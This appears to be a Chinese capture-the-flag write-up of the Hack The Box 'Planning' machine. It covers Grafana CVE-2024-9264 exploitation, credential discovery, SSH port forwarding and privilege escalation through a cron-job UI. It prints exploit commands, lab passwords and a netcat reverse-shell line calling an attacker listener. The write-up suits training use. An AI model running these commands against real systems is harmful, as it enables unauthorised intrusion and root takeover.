正如在现实生活中渗透测试中常见的那样,您将使用以下帐户的凭据启动规划框:admin / 0D5oT70Fq13EvB5r
介绍
目标ip:10.10.11.68
流程图
往期推荐:
【弱口令爆破工具】week-passwd一款图形化弱口令检测工具
前期攻击
网络正常
端口扫描
┌──(track㉿kali)-[~/htb/linux/planning]
└─$ nmap -p- --min-rate 10000 10.10.11.68 -oN port.txt | cat port.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
全面扫描
┌──(track㉿kali)-[~/htb/linux/planning]
└─$ nmap -sV -sC -O -Pn 10.10.11.68 -oN nmap.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
该nginx版本没有历史漏洞
设置域名解析
┌──(track㉿kali)-[~/htb/linux/planning]
└─$ echo"10.10.11.68 planning.htb" |sudo tee -a /etc/hosts
10.10.11.68 planning.htb
尝试ssh连接,连接失败,看来凭证有其他用法,目录扫描
换个工具扫描目录
┌──(track㉿kali)-[~/htb/linux/planning]
└─$ feroxbuster -u http://planning.htb
........
200 GET 23l 172w 1090c http://planning.htb/lib/owlcarousel/LICENSE
.......
访问查看
Copyright (c) 2014 Owl
Modified work Copyright 2016 David Deutsch
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
google搜索,语法
Copyright (c) 2014 Owl Modified work Copyright 2016 David Deutsc
得到一个网站
https://github.com/learning-zone/website-templates/blob/master/reveal/lib/owlcarousel/LICENSE
一个静态网站,没有什么用
子域名枚举
┌──(track㉿kali)-[~/Tools]
└─$ ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -t 100 -fs 178
.........
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 319ms]
.......
添加子域名域名解析
sudo sed -i '/10.10.11.68 planning.htb/ s/$/ grafana.planning.htb/' /etc/hosts
一个grafana页面
使用一开始给的凭证登录,在web页面浏览无果
whatweb发现版本号
存在漏洞
补充:平时我们在查找漏洞的时候,可能会有很多不同漏洞,我们做的是渗透测试,目标是拿shell,所以查看利用方式的时候重点利用RCE,文件上传,文件包含这些可以直接拿shell的漏洞
searchsploit查看
exp网站
https://github.com/nollium/CVE-2024-9264
命令执行
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
文件读取
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
注意有两个需要安装的模块
修改命令来执行我们的目标
#文件读取
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb
只有root用户具有bash
RCE拿shell,尝试各种命令后都失败
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c xxx http://grafana.planning.htb
换一个exp
#exp网站
https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit
#利用方法
python poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.7 --reverse-port 4444
成功拿到root的shell
后渗透
尝试切换交互模式,失败,使用linpeas.sh脚本
赋予权限然后运行
# chmod 777 linpeas.sh
# ./linpeas.sh
发现一段用户名和密码
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
发现该靶机运行在docker上
当发现靶机运行在docker上,需要进行docker逃逸
因为我们拿到了一个账户密码,直接登录即可
/home/enzo下发现user.txt
没有其他bash用户存在
再次下载脚本到靶机
运行发现本地网络监听,存在3000和8000端口
发现很多github的目录
crontab-ui:很像是计划任务ui页面
/opt目录下发现一个文件
发现几个数据库文件
/opt/crontabs/crontab.db #和之前的ui页面内容很像
Found /var/lib/command-not-found/commands.db:
Found /var/lib/fwupd/pending.db:
Found /var/lib/PackageKit/transactions.db:
同样有很多ui文件
查找**/opt/crontabs/crontab.db**文件
enzo@planning:/var/tmp$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
发现一个密码
P4ssw0rdS0pRi0T3c
现在需要找到ui页面挂载的端口,想到之前的可疑端口,设置本地端口ssh转发
因为其ui页面是挂载在web服务上的,而我们拿到的不过只是shell,并不能直接访问其本地web,需要进行端口转发到本地访问
#将本地8000端口通过ssh远程转发目标的8000端口
ssh -N -L 8000:localhost:8000 [email protected]
发现需要登录
root
P4ssw0rdS0pRi0T3c
成功进入,用户名是猜测的,既然是本地计划任务页面,又经过压缩,基本是root账户进行的
点击new,我们可以新建计划任务
设置nc连接到我们本地
但是无法收到shell,观察了一下其他corn
应该需要调用系统脚本,使用busybox调用
BusyBox 是一个集成了一百多个最常用 Linux 命令和工具的软件,在资源受限的系统(如嵌入式设备、Docker 容器)中广泛使用。它提供了精简版的 Unix 工具集,占用空间小但功能完整
busybox nc 10.10.16.7 6666 -e /bin/bash
然后点击run触发
成功拿到root
新建任务时点击这两个地方,否则可能反弹不成功
最后在root目录下发现root.txt
完成目标
原文始发于微信公众号(泷羽Sec-track):【HTB】Planning靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论